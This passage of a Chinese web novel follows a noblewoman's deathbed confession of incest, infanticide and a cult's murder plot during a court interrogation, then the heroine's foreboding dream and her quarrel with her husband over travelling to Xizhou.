不知是哪年哪月,又不知是和尚还是道士经过此处,想必是怕起尸闹鬼,又或者纯粹是想积阴德做好事,就在崖壁上用朱砂写下了一整篇的往生咒。 彼时,风玉笙扶着范成德的石碑,打量了一圈四周,目光定格在往生咒上,默默读了一遍后心想,竟是一字不错,省了我的事儿了,便命令伪装成农家汉子的壮仆们道:“下棺 埋了吧。” 壮仆们应“是”,用绳子拴住棺材,大家齐心协力将棺材从骡车上卸下,向挖好的土坑抬去。 八个壮仆抬一口薄皮棺材,竟是个个觉得肩上仿佛有千斤担,压的他们冷汗直冒,心里生惧。 当棺材悬到土坑上方时,八个人越发觉得肩上的绳子仿佛要把他们勒死陪葬似的。不知是谁,胆子最小,膝盖一软就跪下了,哭嚎大喊“世子爷饶命”。 他这一喊不要紧,惊的其余七人心弦破防,纷纷丢下绳子跪下磕头,大喊“世子爷饶命”。 “嘭”的一声巨响,棺材坠落坑底,一下子摔的四分五裂,爆出了一堆血淋淋的东西压着玉成烨的尸体,有个胆大的壮仆直起身子往坑里一瞧,瞳孔骤缩,爬起来就跑,“有鬼啊——” 其余人等一听,连滚带爬四处奔逃。 彼时萧远峥带着慕容鸾音和范绣娘就在不远处隐藏着,他一瞧形势不对,当即吹响哨子,埋伏在山上的锦衣卫一听,倾巢而出。 萧远峥当即奔向风玉笙,大喝道:“全部抓捕归案,一个不许放走。” 却说风玉笙,在听见爆裂声后,木着脸一步一挪走向土坑,在看见自己亲手包好的尸块压住了玉成烨的尸身时,缓缓抬头望天,天上日光正射中她的眼,她眼前一黑,身子一软就滚下了土坑。 萧远峥奔袭而至,却已是来不及拉她一把,向土坑内一瞧,就见她爬起来就去推压在玉成烨尸身上的血包,满身是血,神情麻木。 “郯国公夫人,你究竟是谁?!” 风玉笙听见头顶暴喝,看着脸上已布满尸斑的玉成烨,喃喃低语,“我是谁?” “你是猎户之女风玉笙,还是与范成德偷情的秋嫣然,又或者,你既不是风玉笙,也不是秋嫣然,而是玉生烟,郯国公府曾经的大小姐,玉在山同父同母的亲妹妹。” 当风玉笙听到“玉生烟”这个名字,渐渐的开始浑身颤抖,早已枯竭的眼睛里流出了泪水来,“玉生烟,玉生烟,太久了,太久没人叫我这个名字了。” 彼时,慕容鸾音和冬青一起搀扶着范绣娘也到了土坑边上,范绣娘甫一听见风玉笙的说话声就道:“是她,是秋嫣然的声音!” 坑底的风玉笙猛地仰起头来,流着眼泪厉声哭喊,“我不是秋嫣然,更不是风玉笙,我叫玉生烟,我是郯国公府的大小姐玉生烟。” 慕容鸾音还以为自己出现了幻听,连忙轻拽萧远峥的袖子,“她说她是谁?” 萧远峥席地而坐,拉着慕容鸾音坐在自己身边,轻声道:“记得那副《伏羲娲皇图》吗?” 慕容鸾音一霎明白过来,不敢置信的望向坑底流泪的白发女人。 “萧大人,你相信天谴吗?” 萧远峥看见她去解开那些吣血的绸包,蓦的捂住慕容鸾音的眼睛,“你想告诉我什么?” 玉生烟一边解绸包一边道:“你验过烨儿的尸体对不对,的确是吓死的,但不是被鬼,而是被我生的这个东西。” 萧远峥连忙制止,“玉、玉大小姐,我知道了,我这就让人把玉成烨连同绸包都带回大理寺,到了大理寺自有仵作验尸,你也得跟我回大理寺。” 玉生烟停下手,缓缓看向萧远峥,“我不去大理寺,你有什么想知道的就在这里问,你问完了,我说完了,烦请你把我们母子三人埋了。” “这却不能,你是活人。” “我死后可以吗?” “可。”萧远峥站起来,用绳子把玉生烟拉出来,“跟我回大理寺,我需要你与玉在山对质。” “你到底是把他抓了。” “若是没有意外,此时锦衣卫指挥使苏逢生已经把玉在山抓进了大理寺狱。” 玉生烟再度抬头望天,麻木的眼睛里落进了太阳,也重新换发了光彩,“萧大人,你知道慕容青云是怎么死的吗?” 慕容鸾音心头一颤,蓦的盯住玉生烟,“我祖父遇害,玉在山不是已经查清了真凶吗?” 玉生烟漠然道:“真凶也可以是安排好的。天上白玉京,十二楼五城,仙人抚我顶,结发受长生。你们可听过白玉京?” 萧远峥猛地攥紧双拳才能压抑住内心的汹涌,十一年了,十一年了,终究是再度有了这个组织的确切踪迹。 “知道。十一年前,姑祖父收到了一只五色鹊送来的信,信上就有‘仙人抚我顶,结发受长生’这句落款,以及一个白玉京玉楼花押,信上内容指使姑祖父,睁一只眼闭一只眼。” 慕容鸾音愣住了,下意识的两手紧抓着萧远峥的胳膊,怎么他知道,而自己却一点都不知道自己的祖父还收到过这样一封诡谲的信。 “知道就好。”玉生烟接着道:“十一年前,皇帝敕令‘大造黄册’,清查天下户口,清量天下田地,慕容青云大人被派往最难啃的浙川,他任布政使,玉在山为按察使,慕容青云大人做事一丝不苟,凡有隐户隐田,无论隶属于何等权贵,全部如实查出记录在册,他触碰到了太多人的利益,于是白玉京这个邪教出手指点,慕容青云大人不以为意撕碎了那封天上来信,于是白玉京找上了我们,它神通广大,知道了我们兄妹的秘密,就说我们是白玉京中皇族,羲皇族族人转世,凡羲皇族人皆是兄妹姐弟为夫妻,那时我们惧怕它向世人揭发我们,不得不听从,后来……” 玉生烟闭上眼流下泪水,“后来,他去参加了一次极乐长生宴,就彻底成了邪教徒。” 第38章 第038章骏骨楼骏骨楼中诛天骄……… 《西京杂记》上说,秦始皇有一面镜子,能照人心胆,这是审案大堂上长挂的“明镜高悬”大匾的由来。 慕容鸾音搀扶着玉生烟来到大理寺狱最深处,没想到却看见了这样一个大堂: 本该悬挂“明镜高悬”匾额的地方挂着一面大铜镜,铜镜之下是三尺公案,案上放着一块惊堂木,案后配着一张官帽椅。 此时萧远峥头戴展脚幞头,身穿绯红袍,正坐在那里,堂下铁笼子里囚着玉在山,只见他被摘去了乌纱帽与缠腰玉带,被脱去了仙鹤补子绯红官袍与粉底皂靴,披头散发,白色里衣脏乱,打着赤脚,因戴着手铐脚镣的缘故,他只能弓腰瘫坐在那里,如同一只煮熟后向内折叠蜷缩的虾。 玉生烟漠然看了他一眼,就对慕容鸾音道:“我气虚的厉害,敢问你可有法子令我提振精神,不必顾虑会损伤我的身子,我……只想把知道的都说出来,减轻罪孽,寻求解脱,我知你金针之术厉害,求你帮我。” 慕容鸾音不由得看向萧远峥,萧远峥却站起身,走下审案台,绕过身后镜壁,拨开一面玄黑纱帘去了后头,片刻后又走出来,重新坐回官帽椅,向慕容鸾音道:“照做。” 慕容鸾音心想,堂下囚禁的不止是世袭罔替的国公,还是政事堂内阁大臣,那么在镜壁后的,需要萧远峥去请示的,定是皇帝。 想到皇帝就坐在后面聆听,慕容鸾音心脏嘭嘭狂跳,缓缓深吸一口气,绷紧心弦,细细斟酌后才道:“请搬一把椅子来,让她坐着我好施针。” 萧远峥一抬手,坐在最明亮处准备记录的郭照就连忙站起身去搬了一把圈椅来。 慕容鸾音和冬青一起把玉生烟搀扶过去,让她坐稳,随即慕容鸾音示意冬青固定住她的头颅,紧接着就抽出三枚长针,分别刺入了她头顶的正会、百会、州圆三大命穴。 玉生烟顿觉剧痛,眼角青筋抽动,但她一声不吭都忍下了。 少顷,顿觉灵台清明,看人时竟比先前清晰百倍,是从未有过的通体轻盈,她禁不住喟叹一声,“慕容氏的针灸之术果然名不虚传,早前怎么没听过你呢,只知道你母亲是女病圣手。” 慕容鸾音没言语,后退一步站到她身后,看向萧远峥艰难道:“这是燃烧寿命的法子,她的寿命本就所剩不多,约莫能维持半个时辰。” “够用了。”萧远峥手握惊堂木却没有使用,而是用清冷的声调开口道:“玉生烟,请你告诉我,白玉京究竟是怎么设计杀害的慕容青云。” 慕容鸾音听他一说,两手紧握,抿着嘴死死盯着玉生烟。 “萧大人你应当记得一个人名,叫 张孝富。” “记得,玉在山当时奉旨查办慕容青云遇害这个案子,追到的幕后指使就是这个张孝富,张孝富买通一老一少两个乞丐在骏骨楼杀害了慕容青云,三人口供一致、细节一致,凶器也被找到,玉在山把这个案子办的铁证如山。” 玉生烟点头,“是这样的。当时是慕容青云大人清查隐田查到了望族大乡绅张孝富头上,张孝富带着银票去向慕容青云大人行贿,被慕容青云大人痛骂了一顿,慕容青云大人就去找玉在山,他是按察使似行贿官员这种事情是他的职权范围,玉在山就故意让心腹世奴告诉慕容青云,他在骏骨楼吃饭,慕容青云找了过去,见一老一小两个乞丐被酒楼里的两个纨绔殴打,慕容青云大人心善啊就上前阻止,就被那一老一小两个乞丐捅了两刀,玉在山佯装从楼上下来正巧遇见,就把那两个乞丐抓了,随后顺理成章抓出了‘幕后主使’张孝富。” 慕容鸾音想到祖父因心善而丢了命,心口闷痛,落下泪来,哽咽难言。 玉生烟长吸一口气缓缓吐出,歇了一会儿才接着道:“骏骨楼中诛天骄。这是白玉京给我们的法旨,亦是投名状,我们做好了这件事就是通过了白玉京的试炼,从此后我们就入了白玉京了,隶属于羲皇族。也因为玉在山把这个案子办的扎实,从此被皇帝青眼,步步高升,最终成了内阁大臣。” 慕容鸾音看着铁笼里无动于衷的玉在山,泣声怒斥,“踩着我祖父的尸骨步步高升,玉在山,你良心可安?!” 玉在山抬眼冷笑,“死道友不死贫道。谁让他孤傲不逊,撕碎仙君法旨,对仙君不敬,仙君当然要降下天罚!” “你放屁,分明是人为!” 萧远峥没被情绪带着走,而是冷静道:“张孝富是张氏掌权人,他为何甘愿成为替罪羊,成全玉在山?这里面可有什么交易?” “因为张孝富是‘仙人抚我顶,结发受长生’的受益者,所谓仙人抚顶受长生,不单指字面上的‘长生’,而是指若被仙人选中,仙人就会满足你一个欲i望。张孝富曾经仅仅是个青皮打手,被仙人选中才成了后来的大乡绅,这就是所谓的仙人显化,又被称作仙迹,白玉京是他的信仰,白玉京让他三更死,他不敢惜命到五更。” 至此,慕容青云之死真相大白。 萧远峥顾不得心中的万千酸楚,紧接着就道:“第二个问题,白玉京是十一年前找上你们的,可你和范成德偷情是在十六年前,范成德床头挂着《伏羲娲皇图》,他也是白玉京的邪教徒吗?” 玉生烟怔了怔,流出血泪来,“那年我十三岁,玉在山十八岁,那是一个炎炎夏日,我在闺房中穿的薄透,他进来了,与我嬉闹,不知怎么的我们就尝了禁果,从此万劫不复,我们气死了爹娘,他继承了爵位,我假死,改名换姓成了猎户之女风玉笙,成了郯国公夫人,我们生过八个孩子,四个生下来就是死胎,三个生下来是活的,可长的像怪物就掐死了,唯有一个还算好的,我不忍心养在了碧纱橱里,到了我三十岁的时候,他三十五岁,我们需要一个健全聪慧的继承人,我们发生了争吵,我想着我已经为他失去了本名,扭曲成了另外一个人,倘若他再和别的女人生下继承人,我算什么呢?我付出的一切,承受的心里磨难怎么算?于是他妥协,我们在一个文会上选中了脸型、身形和他相仿的范成德。” 萧远峥一听,心中最后一丝疑惑解开了,原来范成德才是被选中的那一个。 玉成烟回忆着,脸上露出一丝笑,“与范成德偷情那一段日子啊,我才明白心里没有负担的和一个男人偷欢是何等的轻松快意,我尝到了真正的爱的味道。” 玉在山忽的激动起来,两眼赤红死死盯着玉生烟,撕心裂肺的大喊,“你后悔了,你怎么敢后悔啊!你背叛了我,你爱上了别人,你怎么可以爱上别人!” 玉生烟不理他,依旧沉浸在回忆里,片刻后才又接着道:“我怀上烨儿以后,玉在山就迫不及待的要把我带走,我就要求他给范成德一个机遇,他勉为其难让范成德和张阁老有了一面之缘,范成德真的是一颗蒙尘的明珠,仅仅一面而已他就抓住了这个机会。随后,玉在山带着我远赴浙川做官,我在那里生下了烨儿,他很健康,很聪慧,我爱极了他,我才明白啊,原来我和玉在山的结合真的会遭天谴,我们错了,错的太深太深了。” “不是,不是这样的!”玉在山两手扒着铁笼子,把头拼命从两根铁棍中间挤出来,两眼瞪的血红,“烟儿你听我说,兄妹不可为夫妻只是凡尘俗世的规矩,可天上白玉京没有这样的规矩,我们是羲皇族人转世,我们没有错,只是这个俗世容不下我们这样的仙人,只要回到白玉京,我们就可以生下仙胎,仙胎会长成天神,山神,或是有大妖力的妖神,你怎么就不信呢?!” 玉在烟不止一次听他说这样的话了,这一次就笑了出来,仍旧不理他,她眼中细微的血管已经破裂了,眼睛眨动间,一颗颗血珠滚了下来,在她苍老的脸上留下道道血痕。 “他去参加了一次极乐长生宴,回来就与我说别的仙人都有仙奴,他也要契约仙奴,思来想去认定范成德是最佳的仙奴人选,范成德爱着我和孩子,于是他甘愿成为我们的仙奴,替我们敛财,我们收下范成德的供奉,又会分出大头来供奉给白玉京。” “如何供奉,在何处接头,接头人是谁?”萧远峥神色一凛,急迫追问。 “平康坊,琵琶巷,怜玉楼,一个叫玉姐儿的头牌。” 萧远峥一霎怔愣住了。 玉在山拍着铁笼子哈哈大笑,“她说错了,明面上是头牌花姐儿,实则是仙王亲至,就在你查到我外室头上的那一夜,我们白玉京的仙王就在怜玉楼,你杀了他两只仙奴,他不会放过你的,你们郧国公府就等着灰飞烟灭吧!” 萧远峥想到自己竟然错过了抓捕白玉京所谓仙王的最佳机会,登时震怒,猛地一拍惊堂木,“玉在山!” 第39章 第039章回娘家怕不是和姑爷吵架…… 就在这时,玉生烟吐了一口血出来,一双眼被血雾完全覆盖。 慕容鸾音连忙看着萧远峥道:“她快不行了。” 玉在山大恸,哀求道:“放我出去,你们让我抱抱她。” 萧远峥疾步奔下审案台,紧盯着玉笙烟,快速逼问,“十一年前,腊月初八,关城,我母亲谢昭云在鲸落楼吃河豚肉而死,是不是也是白玉京设计谋害的?” 慕容鸾音心头剧震,原来、原来他母亲的死也是被设计的吗? 玉生烟摇摇头,“我把知道的都说了。白玉京号称有九十六族,九十六仙君,许是别族干的。” 说着话,就有血从她鼻管里流出。 玉在山嚎哭,“烟儿,你看我一眼啊,你为什么不看我,我爱你啊。” “慕容、慕容夫人。” 慕容鸾音连忙俯身下来握住她的手,哽咽回应,“我在这里。” “我送你那盆水仙埋着罪孽,于你是晦气,还我吧,还想劳烦你把我屋里养的那些水仙都与我同葬。” “好,好。”慕容鸾音手忙脚乱用帕子为她擦拭从眼睛里、鼻子里、嘴巴里、耳朵里流出来的血,可是越擦越多,擦的她心慌手抖。 “我向诸天神佛请愿,死后愿化作石桥,生生世世受世人践踏,以赎罪、罪孽。” 话音将落,玉生烟眼睛闭合,双手垂落,再无呼吸。 慕容鸾音刹那泪如雨下,脱下身上的金莲花斗篷盖在了她身上。 “烟儿——” 玉在山跪地痛哭 ,“为什么、为什么你从始至终没看过我一眼,为什么!为什么!” 慕容鸾音蓦的看向玉在山,红着眼睛怒斥,“因为你彻底成了邪教徒,魔性入骨,在她心里,你是魔鬼,她不爱你更不恨你,只想生生世世不与你交集。你说你爱她,可你有外室,有外室子,她都死了,还做出这副痴情不悔的样子恶心谁!” “你懂什么!”玉在山怒吼,“那是因为烟儿身子不好,我才有了外室,那只是个泄欲工具,倘若我与烟儿能生下健康的继承人,我根本不会让其他女人生下我的孩子,我此生唯爱烟儿一人!” 慕容鸾音为玉生烟大哭:“你的爱可真脏!从始至终,都是你引诱的她,你毁了她一生!你该死,你死后阎王要判你投畜生道,我咒你生生世世为畜!” 萧远峥蓦地把慕容鸾音搂到怀里,安抚道:“不要与他有口舌之争,他早已不是人。” 玉在山伸长脖子,眼睛几乎瞪的脱框而出,“我是白玉京的仙人,阎王不敢判我,我是仙人,是羲皇族族人转世,我们羲皇族自古都是兄妹为夫妻,我是仙人,是羲皇族人,我是仙人……” 玉在山跪在地上,“嘭嘭嘭”用头砸地,嘴里不停的念叨:“我是仙人,我是羲皇族人,我们自古兄妹为夫妻……” 慕容鸾音在萧远峥怀里蹭去脸上泪痕,踮起脚尖,扒着他肩膀向铁笼子里看了一眼,不由得低喃,“他是疯了吗?” 这时镜壁后传来一道苍老而威严的声音,“峥儿,你进来。” 慕容鸾音猛地想起那后面还坐着皇帝,顿时惶然无措起来,“是、是我的话把他刺激疯了吗?” “他早就是个疯子,与你无关。你出去吧,让赵荆阎大忠护送你回府。” “好。”慕容鸾音赶紧道:“玉生烟说她送我那盆水仙花里埋着罪孽,我这就回府去挖挖看。” 话落,慌忙带着冬青走了。 回府后,碧荷茯苓迎上来,碧荷正要开口,慕容鸾音就赶紧道:“万事靠后,先服侍我更衣。” 却原来是月事带湿透了。 约莫半个时辰后,慕容鸾音沐浴更衣毕,在大榻床上坐着吃了一盏燕窝红枣甜汤才似是又鲜活了。 “茯苓,你去把厅上的水仙搬到外头去,打碎花盆,找找里头可有什么东西。” 茯苓在慕容鸾音腰后垫上一个大引枕,又把一个汤婆子放到她怀里,这才出去了。 碧荷抱来一床夹棉薄被盖到慕容鸾音腰腹处,就道:“昨儿下午大爷来了,把您要的金丝软甲送来了,共两件,您一件,世子爷一件。” 慕容鸾音大喜,“竟真的做成了,快拿来我瞧瞧。” 碧荷转身又去了暖阁,从顶箱柜里抱出了一个方方扁扁的螺钿黑漆铜扣环匣子。 这时窗外也传来花盆被砸破的声音,片刻后,茯苓急匆匆走了进来,白着脸道:“姑娘,那、那水仙花的根扎在一具小怪物尸骨上,奴婢没敢细看。” 慕容鸾音听玉生烟讲述过了,知道这“小怪物”应该就是她说的罪孽,于是就道:“找个匣子为其收敛尸骨,送到静园交给观棋,让观棋送到大理寺去,世子爷知道该怎么做。” 萧远峥一定会把这一个和其余的,都和玉生烟葬在一起的。 碧荷把匣子放到榻上,听茯苓一说,脸色顿时不好了,“郯国公夫人这是什么意思,是什么魇胜之术吗?” “郯国公夫人死了。” 碧荷茯苓同时一愣,茯苓嘴快就震惊的问道:“怎么就死了?” “我这会儿略有些腰酸腹胀,待我好些了就给你们讲讲郯国公府的事儿,我跟着你们世子爷出去办这一趟差,真是增长了见闻了。” 茯苓便又道:“那水仙花,姑娘还要吗?” 慕容鸾音叹气,“连着那些土,打包一块都送静园去吧。” 茯苓答应一声,连忙带人去办。 这时碧荷把匣子打开,拿出了一大一小两件无袖无领的短衫,笑道:“难为大爷好巧的心思,是用金丝混合蚕丝编的,密密实实,摸起来还怪软的。” 慕容鸾音想到哥哥知道她要这种软甲的用途,想必织成后就用匕首刀剑试验过了,自己也不必再试,打一个哈欠就道:“收好。我睡一会儿。” 碧荷见她困倦,赶着说道:“大爷还给姑娘留了话,他说他要去外省查账,这一回兴许要去很久,让姑娘常回家看看老爷夫人。” 慕容鸾音轻点一下头,惚惚就睡了过去。 碧荷见状,又把两件金丝软甲放了回去,轻轻扣上紫铜扣环,抱着送回了顶箱柜内。自暖阁折回,放下纱幔,轻手轻脚走了出去。 彼时冬葵就坐在门旁里做绣活,蕊儿跟着劈线,碧荷见状就轻声问道:“姑娘换下来的脏衣裳谁拿去洗了?” 蕊儿连忙道:“是果儿。” “我猜也是她。” 冬葵就道:“你忙你的去,姑娘睡了,有我在这里守着呢。” 碧荷看了看天色,道:“好大一片乌云,夜里兴许要下雨。” 蕊儿连忙放下绣线卖乖道:“碧荷姐姐,我去跨院收衣裳吧。” 碧荷点点头,又安排些琐碎杂事,与冬葵闲话一回,不知不觉就到了掌灯时分。 茯苓自大厨房提了晚食回来,正在厅上与碧荷商量是否要叫醒慕容鸾音呢,慕容鸾音于睡梦中撕心裂肺的喊了一声“哥哥”,惊醒坐起,心脏“噗通噗通”狂跳。 碧荷茯苓连忙入内,碧荷坐到榻沿上就连忙问道:“姑娘这是又做噩梦了?” 慕容鸾音捂着隐隐抽痛的心口,哭道:“我梦见、梦见哥哥被剥皮楦草扔在了咱们国公府门口。” 碧荷是知道慕容鸾音梦境预兆的事情的,就譬如梦见过表姑娘洛淑仪会守寡归来,就应验了,如今听见说梦见大爷惨死,她心里就不知怎的也跟着悲痛起来。 茯苓见碧荷竟然不劝解,自己只好开口道:“梦都是反的,姑娘切勿当真。” “不是、不是。”慕容鸾音一抹眼泪就抓着碧荷的手道:“我睡前你说哥哥给我留了话,你再说一遍我听听。” 碧荷细细一想慕容韫玉留下的话,心里就有些慌了,连忙道:“大爷说,要去外省查账,这一回要去许久,嘱咐让姑娘常回家看看老爷夫人,大爷到外地巡视铺子、查账,购置药材,都是常有的事儿,这还是头一回特意留话呢,奴婢心里感到不详。” “可说过具体去哪个省哪个府城吗?” 碧荷摇头,“没有。” 慕容鸾音想到白日里在大理寺狱得知的那些关于白玉京的信息,关于白玉京设计谋害祖父,谋害婆母谢昭云,心里就惊颤起来,掀起被子下榻,靸上绣鞋就道:“更衣,我要回家问问嫂嫂。” 茯苓瞧着连素来稳重的碧荷都慌了,她也跟着慌张起来,疾步走出正房,去耳房里把还在酣睡的冬青薅了起来。 “别睡了,大爷许是有危险,姑娘要回娘家去问问,天黑了,你得好生护着。” 冬青满脑子的瞌睡虫一下子都死了,连忙下炕穿鞋。 却说慕容文博与何赛仙,彼时正躺在一个被窝里闲说些医道上的心得,听得下人禀报说慕容鸾音到家了,都惊了一惊。 何赛仙一边披上夹纱袄一边就担心道:“这么晚了回来,怕不是和姑爷吵架了?” 慕容文博系上腰带摇头否定,“便是吵架了,萧远峥也做不出让阿音这么晚了一个人回娘家的事情来。” 第40章 第040章升官了你是要封我的院子…… 慕容鸾音到了厅上,但见父亲的腰带胡乱系了个死结,母亲披着夹纱袄,便是嫂子,也抱着一岁多的小侄女面带担忧之色的等着她,她心里内疚极了,但哥哥生命安危更重要,当即就道:“我做了个噩梦,梦见哥哥、梦见 哥哥不好了,我心里实在太怕了,等不及天亮,就着急忙慌的回家来想问问嫂子,哥哥到哪个省哪个府城去了?” 何赛仙一听只是做了个噩梦,哭笑不得,又见她脚上穿的竟是软底靸鞋,可见真是被噩梦吓坏了,连忙对跟着来的碧荷道:“快去姑娘房里找一双她的旧鞋来,夜里寒凉,易从脚心侵入,染了风寒是好玩的嘛,你自来稳重,这回怎么就连鞋也顾不上给她好好穿了。” 碧荷连忙告罪,转身向外走去。 慕容文博心安了,坐下喝了口水才道:“你也是个当家主母,怎么想一出是一出的,萧远峥就由着你胡来?” “他那个贪污大案查清了,陛下留他在宫里,不在家。”慕容鸾音快步走到潘素馨身畔坐下,“嫂嫂,哥哥告诉你他的去处了吗?” 就在这时外头有隆隆雷声响起,少顷就噼里啪啦下起雨来。 潘素馨心里有事,就把怀里闹觉的月姐儿交给奶娘抱着,拉起慕容鸾音就笑着道:“婆母,下雨了,妹妹今夜也走不得了,太晚了,我送她到她那院里歇着去。” 何赛仙打个哈欠,催着道:“快去吧,有什么事儿明日再说。” 慕容鸾音觉察到潘素馨捏了她手一下,就不作声的随了她的意。 彼时,碧荷冬青已把慕容鸾音闺房的灯点亮了,又有守着这院子的丫头送了茶奁到桌上。 一时姑嫂坐定,慕容鸾音就急忙问道:“嫂嫂可是有话对我说?可是哥哥临走时也给嫂嫂留下什么话了?” 潘素馨一听顿时就道:“他给你留下什么话了?” 慕容鸾音立时就把碧荷转达的话告诉了一遍。 潘素馨心里越发觉得怪异,于是就道:“你哥哥临走嘱咐我让我足不出户,便是我娘家有事来请,就让说‘我随他到外省去了’,我当时就哭了,我说‘你要是怀疑我趁你出远门到外头去勾三搭四,你休了我便是,不必如此羞辱我’,他又哄了我半天,就说此行是去西州府,若是顺利年底也就回来了,特特又求我答应,他不回来不许我出门。可听你一说,他留给你的话,我这心里就有些不安起来。” 慕容鸾音一听是去“西州府”,祖父被害死的那个地方,梦境中那种撕心裂肺的痛苦登时袭上心头,让她喘不过气来。 这时奶娘抱着哭闹的月姐儿走了进来,苦着脸道:“大奶奶,月姐儿夜里不要人,奴婢实在哄不住。” “就是个讹人精,让她哭一会儿也不要紧,抱回我房里去,我这边和大姑娘说完话就回去。”潘素馨满脸烦躁,转过脸来就劝慕容鸾音,“看见了吧,这就是自己亲自喂养的下场,等你生了千万别自己喂,别听你阿娘的,说什么自己喂的孩子才跟自己亲,亲倒是亲了,只是也太磨人了,脱不开身,哪里也去不得。” 她话音才落,晖哥儿的奶娘就驮着晖哥儿找来了。 潘素馨看见大儿子哭着找娘的可怜样儿,气也气不得,只好接到怀里抱着拍打了两下。 慕容鸾音缓缓深吸一口气,强笑着道:“你也别担心,我们世子爷身边有两个武功高强的护卫,明儿我回去就借一个,让他快马加鞭追上哥哥,护着哥哥就是。侄子侄女哭的可怜,嫂子快带了他们睡觉去吧。明儿一早我就走,嫂嫂不必相送,顾着孩子们最要紧。” 潘素馨一听,就喜道:“你哥哥原本就带了十个壮仆走的,再若有一个你们国公府的护卫保着,我真就放心了,我把这两个闹觉的哭包弄走,别吵着你,你也早些睡。” 说着话,月姐儿哭闹的厉害,她就把晖哥儿交给奶娘抱着,自己抱着月姐儿带着奶娘丫头们向外走去。 窗外风雨渐大,寒意袭人。 碧荷服侍着慕容鸾音到床上躺着,见她脸色发白,就劝道:“每回大爷外出都是走官道,乘着他那辆改造的舒舒服服的大车,还要拉着两大车吃的、穿的、用的,走不快的,想必这一回也不例外,明儿一早咱们回府就派人快马加鞭的去追,定能追上的,姑娘别自己吓自己。” 慕容鸾音没言语,想的却是哥哥和萧远峥,关于祖父被谋害一事,爹娘嫂子应该都不知道,但是哥哥知道,所以上回她回娘家吃红烧肉,哥哥和萧远峥会在书房说话,说的应该就是祖父的事情。 爹娘谨小慎微,真真就是以医道为生的医匠,可祖母不是,祖母胸有丘壑,是经得起风浪的人物,哥哥的性格像祖母,祖父遇害时,祖母是陪同在西州府的,也就是说,祖母定然知道五色鹊送信的事情,是祖母告诉的哥哥,祖母把这样一件重要的事情让哥哥背负了,然后哥哥觉得自己一介商贾能力有限就与萧远峥结盟了?因为他们有相同的仇人——白玉京。 白玉京!白玉京! 慕容鸾音想到梦境中哥哥承受的酷刑,凄惨的死状,蓦的攥紧拳头,恨意昭昭,“明日回府,我们收拾行囊追上哥哥,同去西州府。” 碧荷一怔,面带忧虑,“怕是世子爷不会答应。” “不必管他。” 话落,慕容鸾音强迫自己闭上眼睛睡觉。 翌日一早,慕容鸾音陪着父母草草用过一顿早食就回了国公府。 甫一回到瑞雪堂,茯苓就兴高采烈的迎上来告诉,“姑娘,观棋一早就过来说世子爷又升官了,正二品八府巡抚,代陛下巡抚地方,凡遇邪教、淫祠,捣毁,剿灭,还御赐尚方宝剑,上斩王侯,下斩贪官污吏呢。” 慕容鸾音顿了顿,心想他升官一点都不稀奇,将来他还会成为一人之下万人之上的首辅呢,一则是因为他确实有能为,深得陛下信重;二则,他曾祖母可是丹阳大长公主,是当今陛下嫡亲姑母,他有一层皇亲国戚的身份在里头的。 “知道了。”慕容鸾音走进暖阁,在月牙凳上坐定,一边拣选要带出门去的头面首饰一边道:“我要带着碧荷冬青出一趟远门,你去找两个匣子来我装东西。” 茯苓心头一紧,连忙问道:“姑娘要去哪儿?这次能带着奴婢去吗?” “茯苓,我知你和碧荷她们一样都对我忠心耿耿。”慕容鸾音拉住她的手,柔声安抚道:“而且,你还能力出众,只有把你留在瑞雪堂坐镇我才能放心出门办事,你之于我,正如世子爷之于陛下,我要你替我盯着这府里,可好?” 别的倒还罢了,茯苓一听慕容鸾音把她比作世子爷,心里油然而生一种重任在肩的使命感,也不悲伤了,而是郑重点头,“好,我听姑娘的安排。” “你要去哪儿?” 茯苓转头一瞧是萧远峥进来了,身上还穿着新官袍,脸色却冷的吓人,连忙退避了出去。 “浙川西州。”慕容鸾音抬眸从铜镜里看他,“我倒要问问你,我哥哥去西州府的事儿你知道吗?” 萧远峥不答,走到她身后,轻捏住她右肩头,拧眉道:“你去西州府做什么?不许。” 慕容鸾音见他不答,心里就明白了,蓦的拂开他的大手,转过身来看着他冷笑道:“该我问了,你升官了,升为了代替陛下巡视地方的巡抚,你打算去哪个省哪个府城?若我所料不错,你要去的地方也是西州府,哥哥去了,你也去了,凭什么我不能去,我偏要去。” 萧远峥听她如此执拗,便知糊弄不住了,俯下身与她脸对脸,“锦衣卫抄检郯国公府找到了玉在山收到的‘极乐长生宴’的请帖,帖子上写了地点在西州府,这意味着,白玉京的老巢有很大可能就在西州府,昨日你也在大理寺狱,你应当明白这白玉京的可怕之处,我此行危险重重,不能带你同去,我也不许你去,你好生呆在府内,我不回来不许踏出府门一步。” 慕容鸾音气恼不已,推他一把撇开脸,“我昨夜做了个噩梦,梦里哥哥被剥皮楦草扔在了 我们府门口,我要去找哥哥,要改变他的命运,别说西州府是邪教的老巢,便是刀山火海我也要去。不用你带我去,我自己有车有人,我会自己追上哥哥,和哥哥在一起,不用你管。” 萧远峥一听,蹲下身来仰头看着她,叹气道:“只是一个噩梦,等我到了西州府会和你哥哥取得联系,我保证会把他平安带回来,你听话,乖乖呆在内宅我才能安心。” 慕容鸾音看着眼前这张令她痴迷过的俊脸,冷笑连连,“凭什么为了让你安心我就得被迫呆在内宅,有危险才好呢,我死我的,我死了你才好迎娶你坚定选择过的那个人呀。” 话落,转回身去继续收拾要带在路上用的香膏胭脂花露等物。 萧远峥嚯然站起,冷下眉眼,“我不许。” 随即转身走到厅上坐着,怒声把观棋召到跟前,“我走后,你与流星轮流把守瑞雪堂,不许你们世子夫人踏出院门一步。” 观棋惊愕,呆呆的没敢立即答应。 慕容鸾音气坏了,疾步走到萧远峥跟前,不敢置信的瞪大杏眼,“你是要封我的院子吗?” “正是此意。” “那就和离,和离后,你约束不到我,我爱去哪儿去哪儿,和你无关!” 萧远峥胸腔起伏,压着怒气道:“即便和离,我亦是你表哥,也能管得你。” 观棋见状不妙,慌忙溜了,还怕两个主子吵架传到外头去,给关上了门。 “我嫡亲的哥哥都要死了,你一个一表三千里的表哥算什么,我告诉你,除非你现在就把我杀了,否则西州府我去定了。” 话落就要去打开门叫人进来收拾箱笼,被萧远峥一把拉到怀里紧搂着不放,俊脸往她胸上一埋就示弱道:“别去,我怕不能护你周全。” 40-50 第41章 第041章苦肉计来,杀了我,我死…… 慕容鸾音推着他头推不开,感受到他那高挺的鼻子故意蹭她那两颗敏感处,心里清楚,可还是软了身子,一双杏眸就气红了,“我算明白了,上回你也是故意把烙痕给我看的,不然,凭你的谨慎我怎么可能那么巧合的就看见了,你就是吃准了我心软,你就是一旦发现我要疏离你,你就耍这种心眼子,又把我拉回来,卑鄙无耻的混蛋!” 